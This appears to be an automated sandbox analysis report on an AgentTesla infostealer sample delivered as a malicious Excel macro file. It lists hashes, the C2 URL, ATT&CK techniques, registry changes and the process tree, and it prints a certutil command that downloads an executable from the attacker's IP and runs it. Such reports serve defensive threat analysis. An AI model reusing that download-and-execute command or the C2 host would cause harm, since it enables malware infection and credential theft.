agenttesla | 4689852a6e06ba83be08fe943de1159aa8aaad7e1701b5fae5786ddd0930ba23

General

Target

DocRFQ2050023RFT.xlsm
Size

102KB
MD5

10752bde286212b1e5ec01803a554c03
SHA1

862d54b78dd19d45a980f49201e6acca47857252
SHA256

4689852a6e06ba83be08fe943de1159aa8aaad7e1701b5fae5786ddd0930ba23
SHA512

7f831287482a9be78033ae840bee703a547ba9e35b922548fbbbbdd4a414748b4fead71f3456b726f1b391d686743febf70cc7163729f0a72f9b375cf620cb4e
SSDEEP

3072:yZOKZu86S3Roy9uFwZlsaFPOHYonHBxqPZ5uf:ycYuS/IwZltFPgYonHBxqPZS

Score

10^/10

agenttesla collection keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

C2

http://45.155.165.63/3ip/inc/523ecb38582a9c.php

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1080	2020	cmd.exe	EXCEL.EXE

Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

Bstsrrsxagmkhenpstz.exe.exeBstsrrsxagmkhenpstz.exe.exe

pid process

1580 Bstsrrsxagmkhenpstz.exe.exe
1376 Bstsrrsxagmkhenpstz.exe.exe
Loads dropped DLL 1 IoCs

Processes:

cmd.exe

pid process

1080 cmd.exe
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
1580	Bstsrrsxagmkhenpstz.exe.exe
1376	Bstsrrsxagmkhenpstz.exe.exe

pid	process
1080	cmd.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

Bstsrrsxagmkhenpstz.exe.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Bstsrrsxagmkhenpstz.exe.exe
Key opened	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Bstsrrsxagmkhenpstz.exe.exe
Key opened	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Bstsrrsxagmkhenpstz.exe.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

Bstsrrsxagmkhenpstz.exe.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Windows\CurrentVersion\Run\offi = "\"C:\\Users\\Admin\\AppData\\Roaming\\doc\\offi.exe\""	Bstsrrsxagmkhenpstz.exe.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

Bstsrrsxagmkhenpstz.exe.exe

description pid process target process

PID 1580 set thread context of 1376 1580 Bstsrrsxagmkhenpstz.exe.exe Bstsrrsxagmkhenpstz.exe.exe
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

description	pid	process	target process
PID 1580 set thread context of 1376	1580	Bstsrrsxagmkhenpstz.exe.exe	Bstsrrsxagmkhenpstz.exe.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2020 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

Bstsrrsxagmkhenpstz.exe.exe

pid process

1376 Bstsrrsxagmkhenpstz.exe.exe
1376 Bstsrrsxagmkhenpstz.exe.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

Bstsrrsxagmkhenpstz.exe.exeBstsrrsxagmkhenpstz.exe.exe

description pid process

Token: SeDebugPrivilege 1580 Bstsrrsxagmkhenpstz.exe.exe
Token: SeDebugPrivilege 1376 Bstsrrsxagmkhenpstz.exe.exe
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

EXCEL.EXEBstsrrsxagmkhenpstz.exe.exe

pid process

2020 EXCEL.EXE
2020 EXCEL.EXE
2020 EXCEL.EXE
1376 Bstsrrsxagmkhenpstz.exe.exe

pid	process
2020	EXCEL.EXE

pid	process
1376	Bstsrrsxagmkhenpstz.exe.exe
1376	Bstsrrsxagmkhenpstz.exe.exe

description	pid	process
Token: SeDebugPrivilege	1580	Bstsrrsxagmkhenpstz.exe.exe
Token: SeDebugPrivilege	1376	Bstsrrsxagmkhenpstz.exe.exe

pid	process
2020	EXCEL.EXE
2020	EXCEL.EXE
2020	EXCEL.EXE
1376	Bstsrrsxagmkhenpstz.exe.exe

Suspicious use of WriteProcessMemory 21 IoCs

Processes:

EXCEL.EXEcmd.exeBstsrrsxagmkhenpstz.exe.exe

description	pid	process	target process
PID 2020 wrote to memory of 1080	2020	EXCEL.EXE	cmd.exe
PID 2020 wrote to memory of 1080	2020	EXCEL.EXE	cmd.exe
PID 2020 wrote to memory of 1080	2020	EXCEL.EXE	cmd.exe
PID 2020 wrote to memory of 1080	2020	EXCEL.EXE	cmd.exe
PID 1080 wrote to memory of 2040	1080	cmd.exe	certutil.exe
PID 1080 wrote to memory of 2040	1080	cmd.exe	certutil.exe
PID 1080 wrote to memory of 2040	1080	cmd.exe	certutil.exe
PID 1080 wrote to memory of 2040	1080	cmd.exe	certutil.exe
PID 1080 wrote to memory of 1580	1080	cmd.exe	Bstsrrsxagmkhenpstz.exe.exe
PID 1080 wrote to memory of 1580	1080	cmd.exe	Bstsrrsxagmkhenpstz.exe.exe
PID 1080 wrote to memory of 1580	1080	cmd.exe	Bstsrrsxagmkhenpstz.exe.exe
PID 1080 wrote to memory of 1580	1080	cmd.exe	Bstsrrsxagmkhenpstz.exe.exe
PID 1580 wrote to memory of 1376	1580	Bstsrrsxagmkhenpstz.exe.exe	Bstsrrsxagmkhenpstz.exe.exe
PID 1580 wrote to memory of 1376	1580	Bstsrrsxagmkhenpstz.exe.exe	Bstsrrsxagmkhenpstz.exe.exe
PID 1580 wrote to memory of 1376	1580	Bstsrrsxagmkhenpstz.exe.exe	Bstsrrsxagmkhenpstz.exe.exe
PID 1580 wrote to memory of 1376	1580	Bstsrrsxagmkhenpstz.exe.exe	Bstsrrsxagmkhenpstz.exe.exe
PID 1580 wrote to memory of 1376	1580	Bstsrrsxagmkhenpstz.exe.exe	Bstsrrsxagmkhenpstz.exe.exe
PID 1580 wrote to memory of 1376	1580	Bstsrrsxagmkhenpstz.exe.exe	Bstsrrsxagmkhenpstz.exe.exe
PID 1580 wrote to memory of 1376	1580	Bstsrrsxagmkhenpstz.exe.exe	Bstsrrsxagmkhenpstz.exe.exe
PID 1580 wrote to memory of 1376	1580	Bstsrrsxagmkhenpstz.exe.exe	Bstsrrsxagmkhenpstz.exe.exe
PID 1580 wrote to memory of 1376	1580	Bstsrrsxagmkhenpstz.exe.exe	Bstsrrsxagmkhenpstz.exe.exe

outlook_office_path 1 IoCs

Processes:

Bstsrrsxagmkhenpstz.exe.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Bstsrrsxagmkhenpstz.exe.exe

outlook_win_path 1 IoCs

Processes:

Bstsrrsxagmkhenpstz.exe.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Bstsrrsxagmkhenpstz.exe.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\DocRFQ2050023RFT.xlsm
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2020

C:\Windows\SysWOW64\cmd.exe
cmd /c certutil.exe -urlcache -split -f "http://45.155.165.63/br1/loader/uploads/Doc_2050023_RFT.exe" Bstsrrsxagmkhenpstz.exe.exe && Bstsrrsxagmkhenpstz.exe.exe
2⤵
- Process spawned unexpected child process
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1080

C:\Windows\SysWOW64\certutil.exe
certutil.exe -urlcache -split -f "http://45.155.165.63/br1/loader/uploads/Doc_2050023_RFT.exe" Bstsrrsxagmkhenpstz.exe.exe
3⤵
PID:2040

C:\Users\Admin\Documents\Bstsrrsxagmkhenpstz.exe.exe
Bstsrrsxagmkhenpstz.exe.exe
3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1580

C:\Users\Admin\Documents\Bstsrrsxagmkhenpstz.exe.exe
C:\Users\Admin\Documents\Bstsrrsxagmkhenpstz.exe.exe
4⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- outlook_office_path
- outlook_win_path
PID:1376

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Credentials in Files

3

T1081

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

3

T1005

Email Collection

1

T1114

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\Documents\Bstsrrsxagmkhenpstz.exe.exe
Filesize
1.4MB

MD5
10dcb9e5aabe78f2bf22481b70658d15

SHA1
19dad72451cb471f9762a6a7c72e57f2f17197bf

SHA256
fc23a4a16e5f2ad4467d969f7a53b5a67d9d3d33ef3d427c7aa883916f8c251c

SHA512
1afc876a8b5626a38af604a30127b0a1af9d0aa358b7fdb0e544e0f408a6599a7df5283fe09896eee04bd859b1dc0aff83481911a2e4a37bc02f1465f8f3f6dc

Download Submit
C:\Users\Admin\Documents\Bstsrrsxagmkhenpstz.exe.exe
Filesize
1.4MB

MD5
10dcb9e5aabe78f2bf22481b70658d15

SHA1
19dad72451cb471f9762a6a7c72e57f2f17197bf

SHA256
fc23a4a16e5f2ad4467d969f7a53b5a67d9d3d33ef3d427c7aa883916f8c251c

SHA512
1afc876a8b5626a38af604a30127b0a1af9d0aa358b7fdb0e544e0f408a6599a7df5283fe09896eee04bd859b1dc0aff83481911a2e4a37bc02f1465f8f3f6dc

Download Submit
C:\Users\Admin\Documents\Bstsrrsxagmkhenpstz.exe.exe
Filesize
1.4MB

MD5
10dcb9e5aabe78f2bf22481b70658d15

SHA1
19dad72451cb471f9762a6a7c72e57f2f17197bf

SHA256
fc23a4a16e5f2ad4467d969f7a53b5a67d9d3d33ef3d427c7aa883916f8c251c

SHA512
1afc876a8b5626a38af604a30127b0a1af9d0aa358b7fdb0e544e0f408a6599a7df5283fe09896eee04bd859b1dc0aff83481911a2e4a37bc02f1465f8f3f6dc

Download Submit
\Users\Admin\Documents\Bstsrrsxagmkhenpstz.exe.exe
Filesize
1.4MB

MD5
10dcb9e5aabe78f2bf22481b70658d15

SHA1
19dad72451cb471f9762a6a7c72e57f2f17197bf

SHA256
fc23a4a16e5f2ad4467d969f7a53b5a67d9d3d33ef3d427c7aa883916f8c251c

SHA512
1afc876a8b5626a38af604a30127b0a1af9d0aa358b7fdb0e544e0f408a6599a7df5283fe09896eee04bd859b1dc0aff83481911a2e4a37bc02f1465f8f3f6dc

Download Submit
memory/1080-61-0x0000000000000000-mapping.dmp

Download
memory/1376-75-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/1376-78-0x00000000004359EE-mapping.dmp

Download
memory/1376-72-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/1376-77-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/1376-81-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/1376-76-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/1376-83-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/1376-73-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/1580-69-0x0000000000BF0000-0x0000000000D64000-memory.dmp

Filesize
1.5MB

Download
memory/1580-71-0x00000000046C0000-0x0000000004752000-memory.dmp

Filesize
584KB

Download
memory/1580-70-0x0000000004610000-0x00000000046C4000-memory.dmp

Filesize
720KB

Download
memory/1580-67-0x0000000000000000-mapping.dmp

Download
memory/2020-54-0x000000002FDA1000-0x000000002FDA4000-memory.dmp

Filesize
12KB

Download
